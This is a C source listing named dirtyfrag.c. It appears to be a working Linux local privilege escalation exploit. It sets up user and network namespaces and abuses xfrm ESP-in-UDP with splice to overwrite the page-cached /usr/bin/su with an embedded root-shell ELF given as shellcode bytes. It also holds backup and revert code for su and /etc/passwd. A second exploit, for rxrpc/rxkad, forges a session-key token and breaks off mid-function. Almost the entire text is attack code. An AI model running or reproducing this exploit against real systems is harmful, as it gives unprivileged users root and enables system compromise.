dirtyfrag.c (75518B)
1 #define _GNU_SOURCE 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <string.h> 5 #include <stdint.h> 6 #include <unistd.h> 7 #include <fcntl.h> 8 #include <errno.h> 9 #include <sched.h> 10 #include <sys/syscall.h> 11 #include <sys/types.h> 12 #include <sys/socket.h> 13 #include <sys/stat.h> 14 #include <sys/uio.h> 15 #include <sys/ioctl.h> 16 #include <sys/wait.h> 17 #include <netinet/in.h> 18 #include <arpa/inet.h> 19 #include <net/if.h> 20 #include <linux/if.h> 21 #include <linux/netlink.h> 22 #include <linux/rtnetlink.h> 23 #include <linux/xfrm.h> 24 25 #ifndef UDP_ENCAP 26 #define UDP_ENCAP 100 27 #endif 28 #ifndef UDP_ENCAP_ESPINUDP 29 #define UDP_ENCAP_ESPINUDP 2 30 #endif 31 #ifndef SOL_UDP 32 #define SOL_UDP 17 33 #endif 34 35 #define ENC_PORT 4500 36 #define SEQ_VAL 200 37 #define REPLAY_SEQ 100 38 #define TARGET_PATH "/usr/bin/su" 39 #define SU_BACKUP_PATH "/tmp/.dirtyfrag_su_backup" 40 #define PASSWD_BACKUP_PATH "/tmp/.dirtyfrag_passwd_backup" 41 #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ 42 #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ 43 #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ 44 45 /* 46 * 192-byte minimal x86_64 root-shell ELF. 47 * _start at 0x400078: 48 * setgid(0); setuid(0); setgroups(0, NULL); 49 * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); 50 * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. 51 * 52 * Setting TERM in the new shell's env silences the 53 * "tput: No value for $TERM" / "test: : integer expected" noise 54 * /etc/bash.bashrc and friends emit when TERM is unset. 55 * 56 * Code (from offset 0x78): 57 * 31 ff xor edi, edi 58 * 31 f6 xor esi, esi 59 * 31 c0 xor eax, eax 60 * b0 6a mov al, 0x6a ; setgid 61 * 0f 05 syscall 62 * b0 69 mov al, 0x69 ; setuid 63 * 0f 05 syscall 64 * b0 74 mov al, 0x74 ; setgroups 65 * 0f 05 syscall 66 * 6a 00 push 0 ; envp[1] = NULL 67 * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" 68 * 50 push rax ; envp[0] 69 * 48 89 e2 mov rdx, rsp ; rdx = envp 70 * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" 71 * 31 f6 xor esi, esi ; rsi = NULL (argv) 72 * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) 73 * 0f 05 syscall ; execve("/bin/sh",NULL,envp) 74 * "TERM=xterm\0" (offset 0xa5..0xaf) 75 * "/bin/sh\0" (offset 0xb0..0xb7) 76 */ 77 static const uint8_t shell_elf[PAYLOAD_LEN] = { 78 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 79 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 80 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 81 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 82 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 83 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 84 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 85 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 86 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 87 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 88 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 89 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 90 }; 91 92 extern int g_su_verbose; 93 int g_su_verbose = 0; 94 #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) 95 96 static int write_proc(const char *path, const char *buf) 97 { 98 int fd = open(path, O_WRONLY); 99 if (fd < 0) return -1; 100 int n = write(fd, buf, strlen(buf)); 101 close(fd); 102 return n; 103 } 104 105 static void setup_userns_netns(void) 106 { 107 uid_t real_uid = getuid(); 108 gid_t real_gid = getgid(); 109 if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { 110 SLOG("unshare: %s", strerror(errno)); 111 exit(1); 112 } 113 write_proc("/proc/self/setgroups", "deny"); 114 char map[64]; 115 snprintf(map, sizeof(map), "0 %u 1", real_uid); 116 if (write_proc("/proc/self/uid_map", map) < 0) { 117 SLOG("uid_map: %s", strerror(errno)); exit(1); 118 } 119 snprintf(map, sizeof(map), "0 %u 1", real_gid); 120 if (write_proc("/proc/self/gid_map", map) < 0) { 121 SLOG("gid_map: %s", strerror(errno)); exit(1); 122 } 123 int s = socket(AF_INET, SOCK_DGRAM, 0); 124 if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } 125 struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); 126 strncpy(ifr.ifr_name, "lo", IFNAMSIZ); 127 if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } 128 ifr.ifr_flags |= IFF_UP | IFF_RUNNING; 129 if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } 130 close(s); 131 } 132 133 static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) 134 { 135 struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); 136 rta->rta_type = type; 137 rta->rta_len = RTA_LENGTH(len); 138 memcpy(RTA_DATA(rta), data, len); 139 nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); 140 } 141 142 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) 143 { 144 int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); 145 if (sk < 0) return -1; 146 struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; 147 if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } 148 149 char buf[4096] = {0}; 150 struct nlmsghdr *nlh = (struct nlmsghdr *)buf; 151 nlh->nlmsg_type = XFRM_MSG_NEWSA; 152 nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; 153 nlh->nlmsg_pid = getpid(); 154 nlh->nlmsg_seq = 1; 155 nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); 156 157 struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); 158 xs->id.daddr.a4 = inet_addr("127.0.0.1"); 159 xs->id.spi = htonl(spi); 160 xs->id.proto = IPPROTO_ESP; 161 xs->saddr.a4 = inet_addr("127.0.0.1"); 162 xs->family = AF_INET; 163 xs->mode = XFRM_MODE_TRANSPORT; 164 xs->replay_window = 0; 165 xs->reqid = 0x1234; 166 xs->flags = XFRM_STATE_ESN; 167 xs->lft.soft_byte_limit = (uint64_t)-1; 168 xs->lft.hard_byte_limit = (uint64_t)-1; 169 xs->lft.soft_packet_limit = (uint64_t)-1; 170 xs->lft.hard_packet_limit = (uint64_t)-1; 171 xs->sel.family = AF_INET; 172 xs->sel.prefixlen_d = 32; 173 xs->sel.prefixlen_s = 32; 174 xs->sel.daddr.a4 = inet_addr("127.0.0.1"); 175 xs->sel.saddr.a4 = inet_addr("127.0.0.1"); 176 177 { 178 char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; 179 memset(alg_buf, 0, sizeof(alg_buf)); 180 struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; 181 strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); 182 aa->alg_key_len = 32 * 8; 183 aa->alg_trunc_len = 128; 184 memset(aa->alg_key, 0xAA, 32); 185 put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); 186 } 187 { 188 char alg_buf[sizeof(struct xfrm_algo) + 16]; 189 memset(alg_buf, 0, sizeof(alg_buf)); 190 struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; 191 strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); 192 ea->alg_key_len = 16 * 8; 193 memset(ea->alg_key, 0xBB, 16); 194 put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); 195 } 196 { 197 struct xfrm_encap_tmpl enc; 198 memset(&enc, 0, sizeof(enc)); 199 enc.encap_type = UDP_ENCAP_ESPINUDP; 200 enc.encap_sport = htons(ENC_PORT); 201 enc.encap_dport = htons(ENC_PORT); 202 enc.encap_oa.a4 = 0; 203 put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); 204 } 205 { 206 char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; 207 memset(esn_buf, 0, sizeof(esn_buf)); 208 struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; 209 esn->bmp_len = 1; 210 esn->oseq = 0; 211 esn->seq = REPLAY_SEQ; 212 esn->oseq_hi = 0; 213 esn->seq_hi = patch_seqhi; 214 esn->replay_window = 32; 215 put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); 216 } 217 218 if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } 219 char rbuf[4096]; 220 int n = recv(sk, rbuf, sizeof(rbuf), 0); 221 if (n < 0) { close(sk); return -1; } 222 struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; 223 if (rh->nlmsg_type == NLMSG_ERROR) { 224 struct nlmsgerr *e = NLMSG_DATA(rh); 225 if (e->error) { close(sk); return -1; } 226 } 227 close(sk); 228 return 0; 229 } 230 231 static int do_one_write(const char *path, off_t offset, uint32_t spi) 232 { 233 int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); 234 if (sk_recv < 0) return -1; 235 int one = 1; 236 setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 237 struct sockaddr_in sa_d = { 238 .sin_family = AF_INET, 239 .sin_port = htons(ENC_PORT), 240 .sin_addr = { inet_addr("127.0.0.1") }, 241 }; 242 if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { 243 close(sk_recv); return -1; 244 } 245 int encap = UDP_ENCAP_ESPINUDP; 246 if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { 247 close(sk_recv); return -1; 248 } 249 int sk_send = socket(AF_INET, SOCK_DGRAM, 0); 250 if (sk_send < 0) { close(sk_recv); return -1; } 251 if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { 252 close(sk_send); close(sk_recv); return -1; 253 } 254 int file_fd = open(path, O_RDONLY); 255 if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } 256 257 int pfd[2]; 258 if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } 259 260 uint8_t hdr[24]; 261 *(uint32_t*)(hdr + 0) = htonl(spi); 262 *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); 263 memset(hdr + 8, 0xCC, 16); 264 265 struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; 266 if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { 267 close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; 268 } 269 off_t off = offset; 270 ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); 271 if (s != 16) { 272 close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; 273 } 274 s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); 275 /* still proceed regardless of splice rc — kernel may have already 276 * decrypted the page in the time between splice and recv */ 277 usleep(150 * 1000); 278 279 close(file_fd); close(pfd[0]); close(pfd[1]); 280 close(sk_send); close(sk_recv); 281 return s == 40 ? 0 : -1; 282 } 283 284 static int verify_byte(const char *path, off_t offset, uint8_t want) 285 { 286 int fd = open(path, O_RDONLY); 287 if (fd < 0) return -1; 288 uint8_t got; 289 if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } 290 close(fd); 291 return got == want ? 0 : -1; 292 } 293 294 /* ------------------------------------------------------------------ */ 295 /* Backup / Revert for /usr/bin/su */ 296 /* */ 297 /* A copy of the original su binary is saved before any corruption. */ 298 /* revert_su() restores it (including drop_caches so the page cache */ 299 /* is re-read from disk), then removes the backup temp file. */ 300 /* ------------------------------------------------------------------ */ 301 302 static int backup_su(void) 303 { 304 struct stat st; 305 if (stat(SU_BACKUP_PATH, &st) == 0) { 306 SLOG("backup already exists at %s, skipping", SU_BACKUP_PATH); 307 return 0; 308 } 309 int src = open(TARGET_PATH, O_RDONLY); 310 if (src < 0) { 311 SLOG("backup_su: open(%s): %s", TARGET_PATH, strerror(errno)); 312 return -1; 313 } 314 int dst = open(SU_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); 315 if (dst < 0) { 316 SLOG("backup_su: open(%s): %s", SU_BACKUP_PATH, strerror(errno)); 317 close(src); 318 return -1; 319 } 320 char buf[4096]; 321 ssize_t n; 322 while ((n = read(src, buf, sizeof(buf))) > 0) { 323 if (write(dst, buf, n) != n) { 324 SLOG("backup_su: write failed: %s", strerror(errno)); 325 close(src); close(dst); 326 unlink(SU_BACKUP_PATH); 327 return -1; 328 } 329 } 330 close(src); 331 close(dst); 332 if (n < 0) { 333 SLOG("backup_su: read failed: %s", strerror(errno)); 334 unlink(SU_BACKUP_PATH); 335 return -1; 336 } 337 SLOG("backed up %s to %s", TARGET_PATH, SU_BACKUP_PATH); 338 return 0; 339 } 340 341 static int revert_su(void) 342 { 343 int src = open(SU_BACKUP_PATH, O_RDONLY); 344 if (src < 0) { 345 SLOG("revert_su: no backup at %s", SU_BACKUP_PATH); 346 return -1; 347 } 348 int dst = open(TARGET_PATH, O_WRONLY | O_TRUNC); 349 if (dst < 0) { 350 SLOG("revert_su: open(%s): %s", TARGET_PATH, strerror(errno)); 351 close(src); 352 return -1; 353 } 354 char buf[4096]; 355 ssize_t n; 356 while ((n = read(src, buf, sizeof(buf))) > 0) { 357 if (write(dst, buf, n) != n) { 358 SLOG("revert_su: write failed: %s", strerror(errno)); 359 close(src); close(dst); 360 return -1; 361 } 362 } 363 close(src); 364 close(dst); 365 if (n < 0) { 366 SLOG("revert_su: read failed: %s", strerror(errno)); 367 return -1; 368 } 369 /* Sync to disk and drop caches so the restored page cache is read */ 370 int sfd = open(TARGET_PATH, O_RDONLY); 371 if (sfd >= 0) { syncfs(sfd); close(sfd); } 372 write_proc("/proc/sys/vm/drop_caches", "1"); 373 unlink(SU_BACKUP_PATH); 374 SLOG("%s reverted from backup, page cache flushed", TARGET_PATH); 375 return 0; 376 } 377 378 /* ------------------------------------------------------------------ */ 379 /* Backup / Revert for /etc/passwd */ 380 /* */ 381 /* A copy of the original /etc/passwd is saved before any corruption. */ 382 /* revert_passwd() restores it (including drop_caches so the page */ 383 /* cache is re-read from disk), then removes the backup temp file. */ 384 /* ------------------------------------------------------------------ */ 385 386 #define PASSWD_TARGET_PATH "/etc/passwd" 387 388 static int backup_passwd(void) 389 { 390 struct stat st; 391 if (stat(PASSWD_BACKUP_PATH, &st) == 0) { 392 SLOG("passwd backup already exists at %s, skipping", PASSWD_BACKUP_PATH); 393 return 0; 394 } 395 int src = open(PASSWD_TARGET_PATH, O_RDONLY); 396 if (src < 0) { 397 SLOG("backup_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); 398 return -1; 399 } 400 int dst = open(PASSWD_BACKUP_PATH, O_WRONLY | O_CREAT | O_EXCL, 0600); 401 if (dst < 0) { 402 SLOG("backup_passwd: open(%s): %s", PASSWD_BACKUP_PATH, strerror(errno)); 403 close(src); 404 return -1; 405 } 406 char buf[4096]; 407 ssize_t n; 408 while ((n = read(src, buf, sizeof(buf))) > 0) { 409 if (write(dst, buf, n) != n) { 410 SLOG("backup_passwd: write failed: %s", strerror(errno)); 411 close(src); close(dst); 412 unlink(PASSWD_BACKUP_PATH); 413 return -1; 414 } 415 } 416 close(src); 417 close(dst); 418 if (n < 0) { 419 SLOG("backup_passwd: read failed: %s", strerror(errno)); 420 unlink(PASSWD_BACKUP_PATH); 421 return -1; 422 } 423 SLOG("backed up %s to %s", PASSWD_TARGET_PATH, PASSWD_BACKUP_PATH); 424 return 0; 425 } 426 427 static int revert_passwd(void) 428 { 429 int src = open(PASSWD_BACKUP_PATH, O_RDONLY); 430 if (src < 0) { 431 SLOG("revert_passwd: no backup at %s", PASSWD_BACKUP_PATH); 432 return -1; 433 } 434 int dst = open(PASSWD_TARGET_PATH, O_WRONLY | O_TRUNC); 435 if (dst < 0) { 436 SLOG("revert_passwd: open(%s): %s", PASSWD_TARGET_PATH, strerror(errno)); 437 close(src); 438 return -1; 439 } 440 char buf[4096]; 441 ssize_t n; 442 while ((n = read(src, buf, sizeof(buf))) > 0) { 443 if (write(dst, buf, n) != n) { 444 SLOG("revert_passwd: write failed: %s", strerror(errno)); 445 close(src); close(dst); 446 return -1; 447 } 448 } 449 close(src); 450 close(dst); 451 if (n < 0) { 452 SLOG("revert_passwd: read failed: %s", strerror(errno)); 453 return -1; 454 } 455 /* Sync to disk and drop caches so the restored page cache is read */ 456 int sfd = open(PASSWD_TARGET_PATH, O_RDONLY); 457 if (sfd >= 0) { syncfs(sfd); close(sfd); } 458 write_proc("/proc/sys/vm/drop_caches", "1"); 459 unlink(PASSWD_BACKUP_PATH); 460 SLOG("%s reverted from backup, page cache flushed", PASSWD_TARGET_PATH); 461 return 0; 462 } 463 464 static int corrupt_su(void) 465 { 466 setup_userns_netns(); 467 usleep(100 * 1000); 468 469 /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the 470 * desired payload word in its seq_hi field. */ 471 for (int i = 0; i < PAYLOAD_LEN / 4; i++) { 472 uint32_t spi = 0xDEADBE10 + i; 473 uint32_t seqhi = 474 ((uint32_t)shell_elf[i*4 + 0] << 24) | 475 ((uint32_t)shell_elf[i*4 + 1] << 16) | 476 ((uint32_t)shell_elf[i*4 + 2] << 8) | 477 ((uint32_t)shell_elf[i*4 + 3]); 478 if (add_xfrm_sa(spi, seqhi) < 0) { 479 SLOG("add_xfrm_sa #%d failed", i); 480 return -1; 481 } 482 } 483 SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); 484 485 for (int i = 0; i < PAYLOAD_LEN / 4; i++) { 486 uint32_t spi = 0xDEADBE10 + i; 487 off_t off = PATCH_OFFSET + i * 4; 488 if (do_one_write(TARGET_PATH, off, spi) < 0) { 489 SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); 490 return -1; 491 } 492 } 493 SLOG("wrote %d bytes to %s starting at 0x%x", 494 PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); 495 return 0; 496 } 497 498 int su_lpe_main(int argc, char **argv) 499 { 500 int revert_mode = 0; 501 for (int i = 1; i < argc; i++) { 502 if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) 503 g_su_verbose = 1; 504 else if (!strcmp(argv[i], "--corrupt-only")) 505 ; /* compat: this body always corrupts only */ 506 else if (!strcmp(argv[i], "--revert")) 507 revert_mode = 1; 508 } 509 if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; 510 511 if (revert_mode) 512 return revert_su() == 0 ? 0 : 1; 513 514 /* Back up the original su binary before any corruption attempt. */ 515 backup_su(); 516 517 pid_t cpid = fork(); 518 if (cpid < 0) return 1; 519 if (cpid == 0) { 520 int rc = corrupt_su(); 521 _exit(rc == 0 ? 0 : 2); 522 } 523 int cstatus; 524 waitpid(cpid, &cstatus, 0); 525 if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { 526 SLOG("corruption stage failed (status=0x%x)", cstatus); 527 return 1; 528 } 529 530 /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 531 * after our overwrite) should be 0x31 0xff (xor edi, edi — first 532 * instruction of the new shellcode). */ 533 if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || 534 verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { 535 SLOG("post-write verify failed (target unchanged)"); 536 return 1; 537 } 538 SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", 539 ENTRY_OFFSET); 540 return 0; 541 } 542 /* 543 * rxrpc/rxkad LPE — uid=1000 → root 544 */ 545 546 #define _GNU_SOURCE 547 #include <stdio.h> 548 #include <stdlib.h> 549 #include <string.h> 550 #include <stdint.h> 551 #include <stdarg.h> 552 #include <errno.h> 553 #include <unistd.h> 554 #include <fcntl.h> 555 #include <time.h> 556 #include <sched.h> 557 #include <poll.h> 558 #include <signal.h> 559 #include <sys/wait.h> 560 #include <sys/socket.h> 561 #include <sys/syscall.h> 562 #include <sys/uio.h> 563 #include <sys/types.h> 564 #include <sys/mman.h> 565 #include <sys/stat.h> 566 #include <sys/ioctl.h> 567 #include <netinet/in.h> 568 #include <arpa/inet.h> 569 #include <linux/rxrpc.h> 570 #include <linux/keyctl.h> 571 #include <linux/if_alg.h> 572 #include <net/if.h> 573 #include <termios.h> 574 575 #ifndef AF_RXRPC 576 #define AF_RXRPC 33 577 #endif 578 #ifndef PF_RXRPC 579 #define PF_RXRPC AF_RXRPC 580 #endif 581 #ifndef SOL_RXRPC 582 #define SOL_RXRPC 272 583 #endif 584 #ifndef SOL_ALG 585 #define SOL_ALG 279 586 #endif 587 #ifndef AF_ALG 588 #define AF_ALG 38 589 #endif 590 #ifndef MSG_SPLICE_PAGES 591 #define MSG_SPLICE_PAGES 0x8000000 592 #endif 593 594 /* ---- rxrpc constants ---- */ 595 #define RXRPC_PACKET_TYPE_DATA 1 596 #define RXRPC_PACKET_TYPE_ACK 2 597 #define RXRPC_PACKET_TYPE_ABORT 4 598 #define RXRPC_PACKET_TYPE_CHALLENGE 6 599 #define RXRPC_PACKET_TYPE_RESPONSE 7 600 #define RXRPC_CLIENT_INITIATED 0x01 601 #define RXRPC_REQUEST_ACK 0x02 602 #define RXRPC_LAST_PACKET 0x04 603 #define RXRPC_CHANNELMASK 3 604 #define RXRPC_CIDSHIFT 2 605 606 struct rxrpc_wire_header { 607 uint32_t epoch; 608 uint32_t cid; 609 uint32_t callNumber; 610 uint32_t seq; 611 uint32_t serial; 612 uint8_t type; 613 uint8_t flags; 614 uint8_t userStatus; 615 uint8_t securityIndex; 616 uint16_t cksum; /* big-endian on wire */ 617 uint16_t serviceId; 618 } __attribute__((packed)); 619 620 struct rxkad_challenge { 621 uint32_t version; 622 uint32_t nonce; 623 uint32_t min_level; 624 uint32_t __padding; 625 } __attribute__((packed)); 626 627 /* Attacker-chosen 8-byte session key used for the rxkad token. 628 * Mutable because the LPE brute-force iterates over keys looking for 629 * one that decrypts the file's UID field to a "0:" prefix. */ 630 static uint8_t SESSION_KEY[8] = { 631 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 632 }; 633 634 #define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) 635 #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) 636 #define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) 637 638 /* =================================================================== */ 639 /* unshare + map setup */ 640 /* =================================================================== */ 641 642 static int write_file(const char *path, const char *fmt, ...) 643 { 644 int fd = open(path, O_WRONLY); 645 if (fd < 0) return -1; 646 char buf[256]; va_list ap; va_start(ap, fmt); 647 int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); 648 int r = (int)write(fd, buf, n); close(fd); 649 return r; 650 } 651 652 static int do_unshare_userns_netns(void) 653 { 654 uid_t real_uid = getuid(); 655 gid_t real_gid = getgid(); 656 if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { 657 WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); 658 return -1; 659 } 660 LOG("unshare(USER|NET) OK, real uid=%u", real_uid); 661 write_file("/proc/self/setgroups", "deny"); 662 if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { 663 WARN("uid_map: %s", strerror(errno)); return -1; 664 } 665 if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { 666 WARN("gid_map: %s", strerror(errno)); return -1; 667 } 668 LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", 669 real_uid, real_gid); 670 671 /* ifup lo */ 672 int s = socket(AF_INET, SOCK_DGRAM, 0); 673 if (s >= 0) { 674 struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); 675 strcpy(ifr.ifr_name, "lo"); 676 if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { 677 ifr.ifr_flags |= IFF_UP | IFF_RUNNING; 678 if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) 679 WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); 680 else 681 LOG("lo brought UP in new netns"); 682 } 683 close(s); 684 } 685 return 0; 686 } 687 688 /* =================================================================== */ 689 /* rxrpc key (rxkad v1 token with attacker session key) */ 690 /* =================================================================== */ 691 692 static long key_add(const char *type, const char *desc, 693 const void *payload, size_t plen, int ringid) 694 { 695 return syscall(SYS_add_key, type, desc, payload, plen, ringid); 696 } 697 698 static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) 699 { 700 uint8_t *p = out; 701 uint32_t now = (uint32_t)time(NULL); 702 uint32_t expires = now + 86400; 703 *(uint32_t *)p = htonl(0); p += 4; /* flags */ 704 const char *cell = "evil"; 705 uint32_t clen = strlen(cell); 706 *(uint32_t *)p = htonl(clen); p += 4; 707 memcpy(p, cell, clen); 708 uint32_t pad = (4 - (clen & 3)) & 3; 709 memset(p + clen, 0, pad); 710 p += clen + pad; 711 *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ 712 uint8_t *toklen_p = p; p += 4; 713 uint8_t *tokstart = p; 714 *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ 715 *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ 716 *(uint32_t *)p = htonl(1); p += 4; /* kvno */ 717 memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ 718 *(uint32_t *)p = htonl(now); p += 4; 719 *(uint32_t *)p = htonl(expires); p += 4; 720 *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ 721 *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ 722 memset(p, 0xCC, 8); p += 8; /* ticket */ 723 uint32_t toklen = (uint32_t)(p - tokstart); 724 *(uint32_t *)toklen_p = htonl(toklen); 725 if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } 726 return (int)(p - out); 727 } 728 729 static long add_rxrpc_key(const char *desc) 730 { 731 uint8_t buf[512]; 732 int n = build_rxrpc_v1_token(buf, sizeof(buf)); 733 if (n < 0) return -1; 734 return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); 735 } 736 737 /* =================================================================== */ 738 /* AF_ALG pcbc(fcrypt) helpers */ 739 /* =================================================================== */ 740 741 static int alg_open_pcbc_fcrypt(const uint8_t key[8]) 742 { 743 int s = socket(AF_ALG, SOCK_SEQPACKET, 0); 744 if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } 745 struct sockaddr_alg sa = { .salg_family = AF_ALG }; 746 strcpy((char *)sa.salg_type, "skcipher"); 747 strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); 748 if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { 749 WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); 750 close(s); return -1; 751 } 752 if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { 753 WARN("ALG_SET_KEY: %s", strerror(errno)); 754 close(s); return -1; 755 } 756 return s; 757 } 758 759 /* Encrypt-or-decrypt a 1+ block of data with a given IV. */ 760 static int alg_op(int alg_s, int op, const uint8_t iv[8], 761 const void *in, size_t inlen, void *out) 762 { 763 int op_fd = accept(alg_s, NULL, NULL); 764 if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } 765 766 char cbuf[CMSG_SPACE(sizeof(int)) + 767 CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; 768 struct msghdr msg = {0}; 769 msg.msg_control = cbuf; 770 msg.msg_controllen = sizeof(cbuf); 771 772 struct cmsghdr *c = 